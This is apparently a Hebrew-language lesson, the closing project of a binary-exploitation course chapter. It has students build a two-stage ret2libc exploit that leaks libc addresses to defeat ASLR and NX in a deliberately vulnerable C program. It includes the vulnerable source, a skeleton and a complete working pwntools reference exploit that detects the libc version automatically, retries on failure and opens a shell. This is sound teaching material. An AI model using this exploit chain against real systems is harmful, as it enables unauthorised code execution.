לדלג לתוכן

4.6 פרויקט exploit מלא עם ASLR פרויקט

פרויקט - exploit מלא מול NX ו-ASLR

הגענו לפרויקט המסכם של הפרק, וזה הרגע שבו כל מה שבנינו לאורך פרק 4 מתחבר לכלי אחד. בפרק הזה למדנו את ה-GOT וה-PLT לעומק, ראינו ret2libc קלאסי, בנינו ROP chains, למדנו לדלוף כתובת מ-libc כדי לעקוף ASLR, והכרנו את one_gadget. עד עכשיו כל טכניקה הודגמה בפני עצמה, לרוב עם ASLR כבוי כדי שנוכל להתרכז ברעיון. עכשיו נוריד את גלגלי העזר: נתקוף בינארי אמיתי עם NX דלוק ו-ASLR דלוק, בלי שום כתובת קבועה של libc, ונבנה exploit שלם שמדליף, מחשב, ומחזיר shell.

המשימה שלכם היא לכתוב exploit חסין מקצה לקצה: לדלוף את כתובת libc בזמן ריצה, לחשב את הבסיס, ולפתוח shell אמין. אבל לא נעצור שם. exploit שעובד רק על המכונה שלכם ורק בגרסת libc אחת הוא צעצוע. exploit שמזהה לבד מול איזו גרסת libc הוא רץ, ומתאושש מכשלונות אקראיים של ASLR, הוא כלי עבודה. זה בדיוק ההבדל שנבנה כאן.

מה בונים ומה המטרה

תקבלו קוד מקור של בינארי קטן ב-C עם buffer overflow קלאסית. תקמפלו אותו עם NX דלוק, תריצו אותו כש-ASLR של המערכת דלוק (ברירת המחדל), ותתקפו אותו. הקריטריון להצלחה חד משמעי - shell אינטראקטיבי אמין:

$ python3 exploit.py
[*] libc identified: glibc 2.35 (ubuntu 22.04)
[+] libc base: 0x7f3c9ea00000
[+] system:    0x7f3c9ea50d70
[+] /bin/sh:   0x7f3c9ebd8698
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag.txt
VR{aslr_is_just_a_speed_bump_when_you_can_leak}

שימו לב לשורה הראשונה: ה-exploit לא מקבל את גרסת ה-libc כפרמטר. הוא מזהה אותה לבד מתוך הכתובת שדלף. זו הדרישה שתהפוך את הפרויקט הזה מתרגיל למשהו שאפשר להשתמש בו באמת.

הנחות הגנה - protections

לפני שכותבים שורת exploit אחת חייבים לדעת נגד מה עומדים. את הבינארי נקמפל כך, וזה מגדיר את כללי המשחק:

  • מנגנון NX דלוק (ברירת המחדל). המחסנית לא ניתנת להרצה, ולכן הזרקת shellcode ישירות למחסנית לא תעבוד. זו הסיבה שכל הפרק הזה עוסק ב-ROP ולא ב-shellcode.
  • מנגנון ASLR של המערכת דלוק. בכל הרצה כתובות ה-libc, המחסנית וה-heap מוגרלות מחדש. אין שום כתובת קבועה של libc להסתמך עליה, ולכן חייבים לדלוף אחת בזמן ריצה.
  • מנגנון PIE כבוי (מקמפלים עם -no-pie). הבינארי עצמו נטען בכתובת קבועה (0x400000), ולכן ה-.text, ה-.plt וה-.got שלו קבועים בין הרצות. זו נקודת העיגון היחידה שלנו: מכאן נריץ את הגאדג'טים ואת puts@plt שיבצע את הleak. עקיפת PIE מלאה תגיע במטרות המתיחה.
  • canary כבוי (מקמפלים עם -fno-stack-protector). בלי canary הoverflow מגיעה עד הreturn address בלי שום בדיקה באמצע.
  • מנגנון RELRO במצב Partial (ברירת מחדל). ה-GOT ניתן לקריאה, וזה כל מה שאנחנו צריכים - נקרא ממנו כתובת libc אמיתית. לא נכתוב אליו בפרויקט הזה.

התמונה ברורה: יש לנו overflow נקייה בלי canary, בסיס בינארי קבוע לעגן עליו, ו-libc אקראי שצריך לדלוף. זה בדיוק תרחיש ה-ret2libc-עם-leak שבנינו בפרק 4.4, רק שעכשיו אתם בונים אותו לבד ומחסנים אותו.

קוד המקור של הבינארי - vulnerable binary

הנה הבינארי המלא. שמרו אותו כ-vuln.c:

// vuln.c - classic buffer overflow for practicing ret2libc with a leak
#include <stdio.h>
#include <unistd.h>

// guaranteed gadget: pop rdi ; ret
// we put it in the source so the exercise works on any toolchain.
// in newer glibc/gcc versions (2.34+) the __libc_csu_init function disappeared,
// and with it the convenient pop rdi ; ret gadget that used to be in the binary. instead of relying on luck,
// we pin our own gadget at a fixed address (the binary is no-pie).
// in a real binary you won't find such a gift - there you'll search for gadgets in the binary or in libc.
__asm__(
    ".intel_syntax noprefix\n"
    ".global gadget_pop_rdi\n"
    "gadget_pop_rdi:\n"
    "    pop rdi\n"
    "    ret\n"
    ".att_syntax prefix\n"
);

void vuln(void) {
    char buf[64];
    puts("send your payload:");
    read(0, buf, 512);   // the vulnerability here: 512 bytes into a 64-byte buffer
}

int main(void) {
    // disable buffering so output reaches us immediately, without waiting for a newline
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin,  NULL, _IONBF, 0);
    vuln();
    return 0;
}

הקומפילציה, בדיוק עם ההגנות שהגדרנו:

gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c

מוודאים ש-ASLR של המערכת דלוק (ככה זה אמור להיות בדרך כלל):

cat /proc/sys/kernel/randomize_va_space
# 2   = full ASLR. this is what we want here - we're attacking it, not escaping it.

אימות ההגנות - checksec

לפני שכותבים exploit, מריצים checksec ומוודאים שהשדה תואם למה שתכננו:

checksec --file=./vuln

פלט צפוי:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

בדיוק כמו שתכננו: NX דלוק, אין canary, אין PIE. ומוודאים שהגאדג'ט שקיבענו אכן קיים בכתובת קבועה:

ROPgadget --binary vuln --only "pop|ret" | grep "pop rdi"
# 0x0000000000401182 : pop rdi ; ret

התוכנית ההתקפית - two-stage plan

הבעיה המרכזית: אנחנו צריכים לקרוא ל-system("/bin/sh") שנמצא ב-libc, אבל כתובת ה-libc אקראית. הפתרון הקלאסי הוא exploit בשני שלבים, שרצים בתוך אותה הרצה של התהליך - וזה קריטי, כי ASLR מגריל כתובות מחדש בכל תהליך חדש. אם נדלוף בתהליך אחד ונתקוף בתהליך אחר, הבסיס כבר יהיה שונה. לכן שני השלבים חייבים לחלוק את אותו התהליך ואת אותו ה-libc base.

הטריק שמאפשר את זה: אחרי הleak, אנחנו חוזרים ל-main. ה-main קורא שוב ל-vuln, שקורא שוב read, וכך אנחנו מקבלים overflow שנייה - באותו תהליך, עם אותו libc base שכבר דלף.

שלב 1 - leak, בונה ROP chain שקוראת puts(puts@got). ה-puts@got מכיל את הכתובת האמיתית (המוגרלת) של puts ב-libc. puts מדפיס אותה בחזרה אלינו, ואז הchain חוזרת ל-main:

the stack in stage 1 (bottom to top by address)
+------------------------------+
| address of main               |  <-- after puts, we return here for stage 2
+------------------------------+
| address of puts@plt           |  <-- prints whatever is in rdi
+------------------------------+
| address of puts@got           |  <-- goes into rdi (the real address of puts)
+------------------------------+
| address of gadget: pop rdi ; ret |  <-- ret jumps here first
+------------------------------+
| 72 filler bytes (buf + rbp)   |
+------------------------------+

שלב 2 - הרצה, עכשיו יש לנו את בסיס ה-libc. בונים chain שנייה שקוראת system("/bin/sh"):

the stack in stage 2
+------------------------------+
| address of system (in libc)   |  <-- system("/bin/sh")
+------------------------------+
| address of "/bin/sh" (in libc)|  <-- goes into rdi
+------------------------------+
| address of gadget: pop rdi ; ret |
+------------------------------+
| address of gadget: ret        |  <-- aligns the stack to 16 bytes (movaps)
+------------------------------+
| 72 filler bytes               |
+------------------------------+

דרישות הפרויקט - requirements

ה-exploit הסופי שתגישו חייב:

  • למצוא את ה-offset עד הreturn address עם cyclic ו-cyclic_find, ולא בניחוש.
  • לדלוף את כתובת puts (או פונקציית libc אחרת) בזמן ריצה עם ROP chain, ולחשב ממנה את בסיס ה-libc.
  • לחשב את הכתובות של system ו-/bin/sh מתוך הבסיס, ולא כמספרים קבועים מודבקים בקוד.
  • לטפל בalignment המחסנית (movaps) לפני הקריאה ל-system.
  • לזהות את גרסת ה-libc אוטומטית מתוך הleak, ולעבוד נכון מול לפחות שתי גרסאות libc שונות בלי שינוי ידני בקוד.
  • לכלול טיפול בשגיאות וניסיונות חוזרים - לזהות כשל, לסגור את החיבור, ולנסות שוב, עם דיווח שיעור הצלחה.
  • לפתוח shell אינטראקטיבי אמיתי ולהריץ בו פקודות.

אבני דרך - milestones

אל תנסו לכתוב את הכל במכה אחת. עברו דרך חמש אבני דרך, וודאו שכל אחת עובדת לפני שממשיכים.

אבן דרך 1 - קריסה ומציאת ה-offset

תשלחו דפוס cyclic, תפילו את התהליך, ותמצאו את ה-offset המדויק. מריצים תחת pwndbg:

gdb ./vuln
pwndbg> run
# paste cyclic(200) into the input

מייצרים את הדפוס:

from pwn import *
print(cyclic(200).decode())
# aaaaaaaabaaaaaaacaaaaaaad...

אחרי הקריסה, מסתכלים מה נכנס ל-RIP ומתרגמים ל-offset:

pwndbg> run < <(python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(cyclic(200))")
Program received signal SIGSEGV
*RSP  0x7fffffffe0a8 <-- 'faaaaaaa'  (the address ret tried to jump to)
>>> cyclic_find(b'faaaaaaa')
72

קיבלנו 72 - שזה 64 בתים של buf ועוד 8 בתים של saved rbp. אל תניחו את המספר הזה מראש, תמיד סמכו על מה ש-cyclic_find מחזיר בבנייה שלכם.

אבן דרך 2 - libc leak וחישוב הבסיס

בונים את chain שלב 1, שולחים, וקוראים בחזרה את הכתובת המודלפת. הכתובת שדולפת היא הכתובת האמיתית של puts ב-libc. מכיוון ש-puts עוצר בבית null, ומכיוון שכתובות ב-64 ביט הן בפועל 6 בתים (שני הבתים העליונים הם 0x0000), אנחנו קוראים 6 בתים ומרפדים ל-8:

leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f'leaked puts@libc: {hex(leak)}')

עכשיו, אם אתם יודעים באיזו libc מדובר, מחשבים את הבסיס:

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc.address = leak - libc.symbols['puts']
log.success(f'libc base: {hex(libc.address)}')

תוודאו שהבסיס הגיוני - הוא צריך להסתיים ב-000 (aligned לעמוד). אם לא, כנראה קראתם שורה לא נכונה.

אבן דרך 3 - קבלת shell עם system

בונים את chain שלב 2 עם system ו-/bin/sh שחישבתם, לא לפני שמוסיפים גאדג'ט ret לalignment:

system = libc.symbols['system']
binsh  = next(libc.search(b'/bin/sh\x00'))
ret    = rop.find_gadget(['ret'])[0]

payload = flat(b'A'*72, ret, pop_rdi, binsh, system)
io.send(payload)
io.interactive()

המלכודת הקלאסית כאן: alignment המחסנית. בתוך system של glibc יש הוראת movaps שדורשת ש-RSP יהיה aligned ל-16 בתים. אם קופצים ל-system עם RSP לא aligned, מקבלים SIGSEGV בתוך do_system על ה-movaps, עוד לפני שה-shell נפתח. הפתרון: גאדג'ט ret בודד לפני הchain, שבולע 8 בתים והופך את הalignment.

אבן דרך 4 - זיהוי גרסת ה-libc אוטומטית

עד עכשיו קיבענו את הנתיב ל-libc.so.6. עכשיו נגרום ל-exploit לזהות לבד מול איזו גרסה הוא רץ. הרעיון בפרק נפרד למטה.

אבן דרך 5 - אמינות וניסיונות חוזרים

עוטפים את הכל בלולאה שמזהה כשל (למשל EOFError, או ש-echo בדיקה לא חזר), סוגרת את החיבור ומנסה שוב, ומדווחת שיעור הצלחה. הרעיון בפרק נפרד למטה.

זיהוי גרסת ה-libc - libc auto-detect

זו הדרישה הכי מעניינת בפרויקט. הבינארי שלנו יכול לרוץ על מכונות שונות עם גרסאות glibc שונות, ובכל גרסה הכתובות של system ו-/bin/sh יושבות ב-offset שונה מהבסיס. exploit שמקבע offset אחד ישבר על כל גרסה אחרת. איך מזהים לבד?

הטריק - הביטים התחתונים קבועים תחת ASLR

מנגנון ASLR מגריל את בסיס ה-libc, אבל הבסיס תמיד aligned לעמוד (מסתיים ב-0x000). זאת אומרת ש-12 הביטים התחתונים של כל סמל ב-libc קבועים ולא תלויים בהגרלה:

leaked_puts  =  libc_base  +  puts_offset
                (& 0xfff == 0)   (the low bits)

=>  leaked_puts & 0xfff  ==  puts_offset & 0xfff   (fixed for a given libc version!)

כלומר, 3 הספרות ההקסה התחתונות של הכתובת שדלפנו הן חתימה של גרסת ה-libc. משווים אותן מול טבלת מועמדים:

CANDIDATES = [
    ('glibc 2.27 (ubuntu 18.04)', './libcs/libc-2.27.so'),
    ('glibc 2.31 (ubuntu 20.04)', './libcs/libc-2.31.so'),
    ('glibc 2.35 (ubuntu 22.04)', './libcs/libc-2.35.so'),
]

def identify_libc(leak_puts):
    page_off = leak_puts & 0xfff
    matches = []
    for name, path in CANDIDATES:
        cand = ELF(path, checksec=False)
        if (cand.symbols['puts'] & 0xfff) == page_off:
            matches.append((name, cand))
    return matches

להיפטר מהתנגשויות - שני סמלים

מדובר ב-12 ביט בלבד, כלומר רק 3 ספרות הקסה, אז ייתכנו התנגשויות בין שתי גרסאות שבמקרה חולקות אותן ספרות תחתונות ל-puts. הפתרון של libc-database ושל האתר libc.rip הוא להצליב כמה סמלים. לכן נדליף שני סמלים בchain אחת, למשל puts וגם printf, ונדרוש שגם 3 הספרות התחתונות שלהם יתאימו:

double leak chain:
pop rdi ; puts@got  ; puts@plt   ; pop rdi ; printf@got ; puts@plt ; main
   ^ prints puts               ^ prints printf           ^ returns to stage 2
def identify_libc2(leak_puts, leak_printf):
    for name, path in CANDIDATES:
        cand = ELF(path, checksec=False)
        if (cand.symbols['puts']   & 0xfff) == (leak_puts   & 0xfff) and \
           (cand.symbols['printf'] & 0xfff) == (leak_printf & 0xfff):
            cand.address = leak_puts - cand.symbols['puts']
            return name, cand
    return None, None

מאיפה משיגים את קבצי ה-libc

אם אין לכם את הקבצים, שני מקורות מעולים:

  • הכלי libc-database (מקומי, לא דורש רשת): מחפשים לפי הספרות התחתונות של הסמל שדלף.
git clone https://github.com/niklasb/libc-database
cd libc-database && ./download ubuntu
./find puts 5d0   printf a30
# returns the matching versions, and you can download the .so and the symbols
  • האתר libc.rip (עם רשת): שולחים סמל -> ספרות תחתונות, ומקבלים את הגרסה ואת כל ה-offsets.

טיפול בשגיאות ואמינות - error handling and retries

גם exploit נכון לוגית ייכשל לפעמים. הסיבות המרכזיות: הכתובת שדלפה הכילה במקרה בית 0x0a (newline) ו-recvline חתך אותה באמצע, או שבמקרה נדיר הalignment יצא לא צפוי. במחקר חולשות אמיתי מוסיפים תמיד שכבת ניסיונות חוזרים. הרעיון: כל ניסיון הוא תהליך נקי, מזהים כשל מוקדם, ומנסים שוב:

def attempt():
    io = start()
    try:
        # ... stage 1: leak and identify ...
        # ... stage 2: send the system chain ...
        io.sendline(b'echo PWNED_$((21+21))')   # liveness check
        if b'PWNED_42' in io.recvrepeat(0.5):
            return io          # success - return the live connection
        io.close()
        return None
    except EOFError:
        io.close()
        return None

def main():
    tries, wins = 0, 0
    for _ in range(20):
        tries += 1
        io = attempt()
        if io:
            wins += 1
            log.success(f'shell after {tries} attempts (success {wins}/{tries})')
            io.interactive()
            return
        log.warning('attempt failed, trying again')
    log.failure(f'did not succeed after {tries} attempts')

הטריק היפה כאן הוא בדיקת החיות: במקום להאמין שה-shell נפתח, שולחים פקודה עם פלט צפוי (echo PWNED_42) ובודקים שהוא חזר. רק אז עוברים ל-interactive. ככה הלולאה יודעת להבדיל בין הצלחה לכשל בלי התערבות אנושית.

שלד ה-exploit - starting skeleton

הנה נקודת פתיחה. השלימו את מה שמסומן ב-TODO:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln')
context.log_level = 'info'

CANDIDATES = [
    ('glibc 2.27 (ubuntu 18.04)', './libcs/libc-2.27.so'),
    ('glibc 2.31 (ubuntu 20.04)', './libcs/libc-2.31.so'),
    ('glibc 2.35 (ubuntu 22.04)', './libcs/libc-2.35.so'),
]

OFFSET  = 72                                  # milestone 1: from cyclic_find
pop_rdi = elf.symbols['gadget_pop_rdi']       # our fixed gadget
ret     = ROP(elf).find_gadget(['ret'])[0]    # for stack alignment

def start():
    return process('./vuln')                  # local; replace with remote(...) for a server

def identify_libc(leak_puts):
    # TODO milestone 4: return the matching libc's ELF, with address computed
    ...

def attempt():
    io = start()
    try:
        # stage 1: puts(puts@got) then return to main
        io.recvuntil(b'send your payload:\n')
        chain1 = flat(b'A'*OFFSET, pop_rdi, elf.got['puts'],
                      elf.plt['puts'], elf.symbols['main'])
        io.send(chain1)
        leak_puts = u64(io.recvline().strip().ljust(8, b'\x00'))

        libc = identify_libc(leak_puts)        # TODO
        if libc is None:
            io.close(); return None

        # stage 2: system("/bin/sh")
        system = libc.symbols['system']
        binsh  = next(libc.search(b'/bin/sh\x00'))
        io.recvuntil(b'send your payload:\n')
        chain2 = flat(b'A'*OFFSET, ret, pop_rdi, binsh, system)
        io.send(chain2)

        io.sendline(b'echo PWNED_$((21+21))')
        if b'PWNED_42' in io.recvrepeat(0.5):
            return io
        io.close(); return None
    except EOFError:
        io.close(); return None

def main():
    for i in range(20):
        io = attempt()
        if io:
            log.success(f'shell on attempt number {i+1}')
            io.interactive()
            return
        log.warning('attempt failed, trying again')
    log.failure('all attempts failed')

if __name__ == '__main__':
    main()

בנו את זה בהדרגה: קודם קריסה, אז leak עם libc מקובע, אז shell, אז החליפו את הקיבוע בזיהוי אוטומטי, ולבסוף עטפו בלולאת הניסיונות.

מלכודות נפוצות - common pitfalls

  • מנגנון ASLR מגריל מחדש בכל תהליך. אסור לדלוף בתהליך אחד ולתקוף בתהליך אחר - הבסיס יהיה שונה. לכן חוזרים ל-main ועושים את שני השלבים באותו התהליך. אם אתם תוקפים שרת שעושה fork, שם דווקא הילדים יורשים את אותו ASLR base של ההורה, וזו הצצה למטרות המתיחה.
  • alignment movaps. אם ה-exploit נופל במקום לפתוח shell, בדקו איפה. אם הקריסה בתוך do_system על movaps, חסר גאדג'ט ret לalignment. הוסיפו אותו.
  • בית newline בכתובת שדלפה. אם recvline מחזיר כתובת שנראית קצוצה, ייתכן שהכתובת האמיתית הכילה 0x0a. זו אחת הסיבות ללולאת הניסיונות החוזרים.
  • פונקציית read לא מוסיפה null ולא עוצרת ב-newline. השתמשו ב-send (לא sendline) בשליחת הchains כדי לשלוט בדיוק במספר הבתים ובלי newline מיותר שיזיז את הalignment.
  • פונקציית puts מול write לleak. דלפנו עם puts, שעוצר בבית null. זה מספיק לכתובת של 6 בתים. אם תרצו לדלוף בלוק גדול או כתובת שמכילה null באמצע, השתמשו ב-write(1, addr, n) במקום.
  • ההבדל בין GOT ל-PLT. מדפיסים את הערך ש-puts@got מצביע עליו (הכתובת האמיתית ב-libc), אז מעבירים ל-puts את elf.got['puts']. הקריאה עצמה עוברת דרך elf.plt['puts']. אל תתבלבלו ביניהם.

מטרות מתיחה - stretch goals

השלמתם את המסלול הבסיסי? הנה איך לוקחים את הפרויקט לרמת מחקר אמיתי.

מטרה 1 - one_gadget במקום system. במקום chain system("/bin/sh"), מצאו one_gadget ב-libc וקפצו אליו ישירות. זה חוסך את הצורך ב-pop rdi ובכתובת /bin/sh, אבל דורש שהאילוצים (constraints) של הגאדג'ט יתקיימו במצב הרגיסטרים בזמן הקפיצה:

one_gadget ./libcs/libc-2.35.so
# 0xebc81 execve("/bin/sh", r15, r12)
#   constraints: [r15] == NULL || r15 == NULL ...

נסו כמה מ-one_gadget ובדקו איזה מהם עובד. שימו לב שהאילוצים משתנים בין גרסאות libc, אז הבחירה צריכה להיות חלק ממנגנון הזיהוי האוטומטי.

מטרה 2 - זיהוי libc לא מקוון לגמרי עם libc-database. במקום טבלת מועמדים ידנית, שלבו את libc-database מקומית: הדליפו סמל, הריצו ./find תחת הכיסוי, ובחרו את ה-.so המתאים אוטומטית. ככה ה-exploit יעבוד גם מול גרסאות שלא הכרתם מראש, בלי לגעת בקוד.

מטרה 3 - הוספת PIE וleak כפולה. קמפלו מחדש בלי -no-pie (כלומר PIE דלוק). עכשיו גם הבינארי אקראי, והעיגון שלנו נעלם - אין puts@plt בכתובת קבועה. תצטרכו קודם לדלוף כתובת מהמחסנית או מהקוד כדי לשחזר את בסיס הבינארי, ורק אז לבנות את הleak chain של libc. זה קופץ מדרגה ומשלב שתי leaks בchain אחת.

מטרה 4 - ret2csu במקום הגאדג'ט המובטח. מחקו את בלוק ה-__asm__ מהמקור וקמפלו על glibc 2.34+, כך שלא יהיה pop rdi נוח בבינארי. עכשיו תצטרכו את הגאדג'ט האוניברסלי ret2csu (אם הוא קיים) או לדלוף קודם ואז להשתמש בגאדג'טים מ-libc. זו הצצה לפרק 6.

מטרה 5 - תקיפה מרחוק מול שרת. עטפו את הבינארי בשרת forking (כמו בפרויקט של פרק 2), החליפו process ב-remote, וודאו שהזיהוי האוטומטי והניסיונות החוזרים עובדים גם מעבר לרשת, כולל טיפול בהשהיות ובחיבורים שנסגרים.

פתרון ייחוס - reference exploit

אחרי שהתמודדתם לבד, הנה exploit מלא ורץ עם זיהוי libc אוטומטי, שני שלבים, וניסיונות חוזרים. השתמשו בו כדי להשוות לעצמכם, לא כדי לדלג על העבודה:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln')
context.log_level = 'warn'      # quiet; change to 'info' for debugging

CANDIDATES = [
    ('glibc 2.27 (ubuntu 18.04)', './libcs/libc-2.27.so'),
    ('glibc 2.31 (ubuntu 20.04)', './libcs/libc-2.31.so'),
    ('glibc 2.35 (ubuntu 22.04)', './libcs/libc-2.35.so'),
]

OFFSET  = 72
pop_rdi = elf.symbols['gadget_pop_rdi']
ret     = ROP(elf).find_gadget(['ret'])[0]

def start():
    return process('./vuln')            # replace with remote(HOST, PORT) for a server

def identify_libc(leak_puts, leak_printf):
    for name, path in CANDIDATES:
        try:
            cand = ELF(path, checksec=False)
        except Exception:
            continue
        if (cand.symbols['puts']   & 0xfff) == (leak_puts   & 0xfff) and \
           (cand.symbols['printf'] & 0xfff) == (leak_printf & 0xfff):
            cand.address = leak_puts - cand.symbols['puts']
            return name, cand
    return None, None

def attempt():
    io = start()
    try:
        # stage 1: leak both puts and printf in one chain, then return to main
        io.recvuntil(b'send your payload:\n')
        chain1 = flat(
            b'A'*OFFSET,
            pop_rdi, elf.got['puts'],   elf.plt['puts'],
            pop_rdi, elf.got['printf'], elf.plt['puts'],
            elf.symbols['main'],
        )
        io.send(chain1)
        leak_puts   = u64(io.recvline().strip().ljust(8, b'\x00'))
        leak_printf = u64(io.recvline().strip().ljust(8, b'\x00'))

        name, libc = identify_libc(leak_puts, leak_printf)
        if libc is None:
            io.close(); return None
        log.warning(f'libc identified: {name}')
        log.warning(f'libc base: {hex(libc.address)}')

        system = libc.symbols['system']
        binsh  = next(libc.search(b'/bin/sh\x00'))

        # stage 2: system("/bin/sh") with ret for alignment
        io.recvuntil(b'send your payload:\n')
        chain2 = flat(b'A'*OFFSET, ret, pop_rdi, binsh, system)
        io.send(chain2)

        # liveness check before interactive
        io.sendline(b'echo PWNED_$((21+21))')
        if b'PWNED_42' in io.recvrepeat(0.5):
            return io
        io.close(); return None
    except EOFError:
        io.close(); return None

def main():
    tries = wins = 0
    for i in range(20):
        tries += 1
        io = attempt()
        if io:
            wins += 1
            log.success(f'shell on attempt {tries} (success {wins}/{tries})')
            io.interactive()
            return
        log.warning(f'attempt {tries} failed, trying again')
    log.failure(f'all {tries} attempts failed')

if __name__ == '__main__':
    main()

הרצה מוצלחת:

$ python3 exploit.py
libc identified: glibc 2.35 (ubuntu 22.04)
libc base: 0x7f3c9ea00000
shell on attempt 1 (success 1/1)
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag.txt
VR{aslr_is_just_a_speed_bump_when_you_can_leak}

הרצה מול שתי גרסאות libc - two libc versions

כדי להוכיח שהזיהוי האוטומטי עובד, הריצו את הבינארי מול שתי גרסאות libc שונות בלי לגעת ב-exploit. הדרך הנקייה ביותר היא patchelf, שמכריח את הבינארי לטעון libc ו-loader ספציפיים:

# run against glibc 2.31
patchelf --set-interpreter ./libcs/ld-2.31.so \
         --set-rpath ./libcs vuln -o vuln_231
# run against glibc 2.35
patchelf --set-interpreter ./libcs/ld-2.35.so \
         --set-rpath ./libcs vuln -o vuln_235

הכלי pwninit עושה את כל זה אוטומטית אם נותנים לו בינארי ו-libc.so.6. בכל אחת מההרצות, ה-exploter צריך לדווח על גרסת libc שונה בשורת ה-libc identified - וזו ההוכחה שהזיהוי עובד.

קריטריוני הצלחה והגשה

מה שצריך להראות בסוף:

  • קבלת shell אמין - exploit שמדליף, מזהה libc אוטומטית, ופותח shell שבו הרצתם לפחות שתי פקודות (id ו-cat flag.txt).
  • הוכחת ה-offset - פלט gdb שמראה את הקריסה עם דפוס cyclic ואת ה-cyclic_find שהחזיר את ה-offset.
  • זיהוי אוטומטי מול שתי גרסאות - שתי הרצות, מול שתי libc שונות, שבכל אחת ה-exploter מדווח על הגרסה הנכונה בלי שינוי בקוד.
  • אמינות - הרצה של ה-exploit לפחות עשר פעמים ברצף עם ASLR דלוק, ודיווח שיעור הצלחה. עם לולאת הניסיונות החוזרים אתם אמורים להגיע קרוב ל-100%.

הגישו את קוד ה-C, את סקריפט ה-exploit, את קבצי ה-libc שמולם בדקתם, ותיעוד קצר: מה ניסיתם, איפה נתקעתם, ואיך פתרתם. אם ניגשתם למטרת מתיחה - צרפו גם אותה עם הסבר.

זה ה-exploit הראשון השלם שלכם: NX, ASLR, leak, זיהוי גרסה, והתאוששות מכשלים. מכאן והלאה זו רק כמות הפרטים שגדלה - הרעיון המרכזי כבר בידיים שלכם.